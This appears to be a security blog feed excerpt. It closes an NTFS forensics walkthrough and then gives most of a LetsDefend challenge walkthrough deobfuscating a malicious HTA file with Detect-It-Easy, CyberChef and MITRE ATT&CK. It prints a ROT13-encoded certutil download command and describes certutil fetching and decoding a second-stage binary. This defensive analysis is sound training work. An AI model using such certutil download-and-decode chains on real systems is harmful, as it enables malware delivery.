src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/821ca319ddb79b13b396c33b50530e2f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we have it! After analyzing the &lt;strong&gt;$MFT&lt;/strong&gt; with &lt;strong&gt;MFTExplorer&lt;/strong&gt;, we&amp;rsquo;ve successfully identified the malicious file used for initial access, where it was downloaded from, what second-stage payload is retrieved, and its objective. After that, we mapped this tactic to &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; to determine that it was a keylogging utility and referenced &lt;strong&gt;Microsoft Learn&lt;/strong&gt; to reveal more details about each of these techniques, painting a clearer picture how the adversary was attacking the victim&amp;rsquo;s device. Now that we have scoped the attack and completed our objectives let&amp;rsquo;s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/ntfs-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;NTFS Forensics&lt;/strong&gt;&lt;/a&gt; challenge!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, for another incredible challenge. I chose to tackle this challenge for the opportunity to dig deeper into NTFS attributes and to practice with &lt;strong&gt;MFTExplorer&lt;/strong&gt;. In the past, I&amp;rsquo;ve used the CLI version, &lt;a class=&#34;link&#34; href=&#34;https://github.com/EricZimmerman/MFTECmd&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MFTECmd&lt;/strong&gt;&lt;/a&gt;, and I wanted the hands-on experience with the GUI version. I really appreciated that this challenge was flexible enough to approach in multiple ways. Having a better understanding of the forensic artifacts in the $MFT will absolutely be beneficial in the field. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;LetsDefend&lt;/strong&gt; &lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/ntfs-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/ntfs-forensics&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Master File Table (Local File Systems):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Eric Zimmerman&amp;rsquo;s Tools — MFTExplorer:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ericzimmerman.github.io/#!index.md&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wikipedia — Mark of the Web:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Mark_of_the_Web&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Mark of the Web — Wikipedia&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Magnet Forensics — Expose Evidence of Timestomping with the NTFS Timestamp Mismatch Artifact:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/expose-evidence-of-timestomping-with-the-ntfs-timestamp-mismatch-artifact-in-magnet-axiom-4-4/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.magnetforensics.com/blog/expose-evidence-of-timestomping-with-the-ntfs-timestamp-mismatch-artifact-in-magnet-axiom-4-4/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Rapid Tables:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.rapidtables.com/convert/number/hex-to-decimal.html?x=98&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.rapidtables.com/convert/number/hex-to-decimal.html?x=98&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Hide Artifacts: NTFS File Attributes (T1564.004):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1564/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1564/004/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Input Capture: Keylogging (T1056.001):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1056/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1056/001/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Invoke-Expression:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.5&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.5&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Eric Zimmerman&amp;rsquo;s Tools — MFTECmd:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/EricZimmerman/MFTECmd&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;GitHub — EricZimmerman/MFTECmd: Parses $MFT from NTFS file systems&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Obfuscated HTA Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/</link>
            <pubDate>Sun, 02 Mar 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Obfuscated HTA Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--obfuscated-hta-challenge-walkthrough&#34;&gt;LetsDefend — Obfuscated HTA Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-suspicious-hta-file-with-detect-it-easy-cyberchef-and-mitreattck&#34;&gt;Investigating a suspicious HTA file with Detect-It-Easy, CyberChef, and MITRE ATT&amp;amp;CK.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Welcome to my weekly walkthrough!&lt;/strong&gt; If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/obfuscated-hta&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Obfuscated HTA&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place.&lt;/p&gt;&#xA;&lt;p&gt;In this digital forensics and incident response (DFIR) challenge, we&amp;rsquo;re given a suspicious &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/HTML_Application&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;HTML Application (HTA)&lt;/strong&gt;&lt;/a&gt; file discovered on a malware-infected device. Our goal is to open it up, deobfuscate the code, and determine what this file is doing to prevent this attack from happening again.&lt;/p&gt;&#xA;&lt;p&gt;To aid us in our investigation of the HTA file, we&amp;rsquo;ll leverage &lt;strong&gt;Detect-It-Easy&lt;/strong&gt; for the file analysis and &lt;strong&gt;CyberChef&lt;/strong&gt; for the decoding operations. Then, we&amp;rsquo;ll enrich our findings with &lt;strong&gt;MITRE ATT&amp;amp;CK,&lt;/strong&gt; a global knowledge base of adversary tactics and techniques, and &lt;strong&gt;Microsoft Learn&lt;/strong&gt; to gain a comprehensive understanding of the attack.&lt;/p&gt;&#xA;&lt;p&gt;Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;&lt;em&gt;A suspicious HTA (HTML Application) file was found on an infected machine. The file is obfuscated to hide its true purpose. Your task is to analyze the code, reverse the obfuscation, and determine what the file is doing. Focus on how the code works and the actions it performs to uncover its true purpose.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-deobfuscated-result-of-the-sample-instr1&#34;&gt;Question 1: What is the deobfuscated result of the sample in str1?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s kick off our investigation by extracting the suspicious HTA file from &lt;code&gt;sample.7z&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;509px&#34; data-flex-grow=&#34;212&#34; height=&#34;377&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/815bb84f003f7982fef0c66822e294f4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since we don&amp;rsquo;t have any information about this file yet, we&amp;rsquo;ll need to do some sleuthing. A great starting point is to use &lt;a class=&#34;link&#34; href=&#34;https://github.com/horsicq/Detect-It-Easy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Detect It Easy (DIE)&lt;/strong&gt;&lt;/a&gt; to identify the file and perform some cursory analysis. Fortunately, this tool is already installed on the &lt;strong&gt;LetsDefend&lt;/strong&gt; analysis environment in the &lt;strong&gt;Tools&lt;/strong&gt; folder. Let&amp;rsquo;s go ahead and open &lt;strong&gt;DIE&lt;/strong&gt; and point it to the mysterious sample file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/8d03adc59bf26bf77f571af834e4b764_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once &lt;strong&gt;DIE&lt;/strong&gt; is loaded and has parsed the sample, we can confirm it&amp;rsquo;s an HTML application, which leaves us a couple of options to examine the contents. We can open it in a text editor like &lt;strong&gt;Notepad++&lt;/strong&gt; or we can examine it within &lt;strong&gt;Detect-It-Easy.&lt;/strong&gt; Either choice will work for this challenge.&lt;/p&gt;&#xA;&lt;p&gt;For this walkthrough, I&amp;rsquo;ll be using the latter. In &lt;strong&gt;DIE&lt;/strong&gt;, press the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Binary&amp;quot;&#xA;button, and select &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Strings.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;141&#34; height=&#34;567&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/0e8272fddd9ad90d33295ab19088469e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Scroll to line 34, where we see a reference to the &lt;code&gt;str1&lt;/code&gt; variable as &lt;code&gt;scram(sample)&lt;/code&gt; — but this doesn&amp;rsquo;t tell us what the &lt;code&gt;sample&lt;/code&gt; is to answer the &lt;strong&gt;Question 1.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, let&amp;rsquo;s start at the top of the file, looking specifically at line 13. We see &lt;code&gt;var sample&lt;/code&gt; defined as a strange-looking, obfuscated string. Now we need to figure out how to decode this and make it readable.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;341px&#34; data-flex-grow=&#34;142&#34; height=&#34;563&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/ddc281679bacd77a85bb861d502b7d77_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;preghgvy.rkr -heypnpur -fcyvg -s&lt;/p&gt;&#xA;&lt;p&gt;To gain some insight, let&amp;rsquo;s review the function on lines 14€“19. It appears that &lt;code&gt;var scram&lt;/code&gt; is a function that transforms text strings, but the key is the operation on line 19, which references &lt;code&gt;var ranalph&lt;/code&gt; variable.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;re getting closer! Now, focus on &lt;code&gt;var ranalph&lt;/code&gt; defined back on line 9, and notice &lt;code&gt;var alph&lt;/code&gt; right above it. Comparing them, &lt;code&gt;var alph&lt;/code&gt; letter &lt;strong&gt;A&lt;/strong&gt; matches &lt;code&gt;var ranalph&lt;/code&gt; letter &lt;strong&gt;N&lt;/strong&gt;, &lt;strong&gt;B&lt;/strong&gt; matches &lt;strong&gt;O&lt;/strong&gt;, &lt;strong&gt;C&lt;/strong&gt; matches &lt;strong&gt;P&lt;/strong&gt;, etc. meaning that the letters are replaced with the letter 13 places after it&amp;hellip;this sounds like the &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/ROT13&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;ROT13&lt;/strong&gt;&lt;/a&gt; cipher!&lt;/p&gt;&#xA;&lt;p&gt;Now that we have a theory about what encoding is being used, let&amp;rsquo;s test it out and speed up our analysis by using &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberChef&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt; This utility is included in the &lt;strong&gt;Tools&lt;/strong&gt; folder of the LetsDefend VM, or you can use the web-based version — your choice!&lt;/p&gt;&#xA;&lt;p&gt;Either way, once in &lt;strong&gt;CyberChef&lt;/strong&gt;, paste the encoded &lt;code&gt;var sample&lt;/code&gt; string we found earlier, add the &lt;strong&gt;ROT13&lt;/strong&gt; operation to the recipe, and check out the output — I think we&amp;rsquo;ve found the answer to &lt;strong&gt;Question 1!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;327px&#34; data-flex-grow=&#34;136&#34; height=&#34;586&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/43b34903989c224461e11f9bb0b35997_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;But, before we go too much further, let&amp;rsquo;s examine the output and focus on the usage of &lt;code&gt;certutil.exe&lt;/code&gt;. While we don&amp;rsquo;t yet have the full context of the application, we can start to build the narrative by referring to &lt;strong&gt;MITRE ATT&amp;amp;CK&amp;rsquo;s&lt;/strong&gt; reference for &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0160/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;certutil&lt;/strong&gt;&lt;/a&gt; for additional intelligence.&lt;/p&gt;&#xA;&lt;p&gt;Reviewing the associated techniques, we&amp;rsquo;ll discover that &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0160&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;certutil&lt;/em&gt;&lt;/a&gt; _can be used to download files from a given URL&amp;quot;(&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1105/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;T1105&lt;/a&gt;). Based on the decoded strings that we discovered in &lt;strong&gt;CyberChef,&lt;/strong&gt; this might indicate that the application performs some download actions.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s keep this in mind as we continue analyzing the rest of the file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2666px&#34; data-flex-grow=&#34;1111&#34; height=&#34;72&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/624e274c9ac3c02f7b95a87e19a6c838_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-after-deobfuscating-the-sample-in-str2-what-is-the-resulting-output&#34;&gt;Question 2: After deobfuscating the sample in str2, what is the resulting output?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve determined how the strings are obfuscated, let&amp;rsquo;s find the &lt;code&gt;sample&lt;/code&gt; variable used by &lt;code&gt;str2&lt;/code&gt;. We can find this down on line 39, where we see an IP address with some additional obfuscated strings.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;340px&#34; data-flex-grow=&#34;141&#34; height=&#34;564&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/52562877f26441e939633deab37cd5e3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To discover the answer to &lt;strong&gt;Question 2&lt;/strong&gt;, we&amp;rsquo;ll copy the line into &lt;strong&gt;CyberChef&lt;/strong&gt; again using our existing recipe to reveal some additional clues.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;329px&#34; data-flex-grow=&#34;137&#34; height=&#34;582&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/d36e5bd13cb94c27eefc12a749c985a7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ve now found an IP address and port where a file (&lt;code&gt;file.txt&lt;/code&gt;) is downloaded from, and the directory it&amp;rsquo;s then copied to on the local system.&lt;/p&gt;&#xA;&lt;p&gt;This puts us very close to the answer, but the output doesn&amp;rsquo;t quite match the answer format, does it? We can add the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Find / Replace&amp;quot;&#xA;operation to the recipe to clean up the extra characters, which should get us to the correct format.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/5c3ab8eb9592d8d1a81c02d49c51266b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2666px&#34; data-flex-grow=&#34;1111&#34; height=&#34;72&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/c63d6cfa43121c004f22d5ae151da7b1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-deobfuscated-result-of-sample-instr3&#34;&gt;Question 3: What is the deobfuscated result of sample in str3?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 3&lt;/strong&gt;, we&amp;rsquo;ll perform the same actions that we did in the last question. We&amp;rsquo;ll find this &lt;code&gt;sample&lt;/code&gt; on line 42. Once again, drop it into &lt;strong&gt;CyberChef&lt;/strong&gt; to decode the protocol used.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;335px&#34; data-flex-grow=&#34;139&#34; height=&#34;572&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/7bb74464a7e567c0622b97436db84bdc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;328px&#34; data-flex-grow=&#34;136&#34; height=&#34;584&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/8cadb1b2ec59defb79eda2714b670583_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2526px&#34; data-flex-grow=&#34;1052&#34; height=&#34;76&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/bc02e1f14eb470673425b17ace29a028_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-does-the-sample-in-str4-translate-to-after-deobfuscation&#34;&gt;Question 4: What does the sample in str4 translate to after deobfuscation?&#xA;&lt;/h3&gt;&lt;p&gt;Can you guess what we need to do to answer &lt;strong&gt;Question 4?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;341px&#34; data-flex-grow=&#34;142&#34; height=&#34;562&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/eba8bffa98f8be1955d3380e0bbd725a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;That&amp;rsquo;s right! We&amp;rsquo;ll copy the contents of the &lt;code&gt;sample&lt;/code&gt; on line 46 and jump back over to &lt;strong&gt;CyberChef&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;328px&#34; data-flex-grow=&#34;136&#34; height=&#34;584&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/934c9837fe059a28b7bc38951457f63e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once the string is deobfuscated, we&amp;rsquo;ll uncover another piece of the puzzle. Remember in &lt;strong&gt;Question 2,&lt;/strong&gt; we found evidence of where &lt;code&gt;file.txt&lt;/code&gt; was downloaded from? From this new snippet, we see the next step: &lt;strong&gt;certutil&lt;/strong&gt; is used to decode the contents of &lt;code&gt;file.txt&lt;/code&gt; and output the results as a new binary, &lt;code&gt;bp.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;But how did that happen? Let&amp;rsquo;s refer back to the &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; page for &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0160/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;certutil&lt;/strong&gt;&lt;/a&gt; to gather more information. We already learned that &lt;strong&gt;certutil&lt;/strong&gt; can be used to download files, but we also see another associated technique (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1140/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;T1140&lt;/a&gt;) listed, which is relevant for this question:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0160&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;certutil&lt;/a&gt; has been used to decode binaries hidden inside certificate files as Base64 information.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;We can also check the syntax on &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil#-decode&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Microsoft Learn&lt;/strong&gt;&lt;/a&gt; to validate this as well:&lt;/p&gt;&#xA;&lt;p&gt;certutil [options] -decode InFile OutFile&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2630px&#34; data-flex-grow=&#34;1095&#34; height=&#34;73&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) 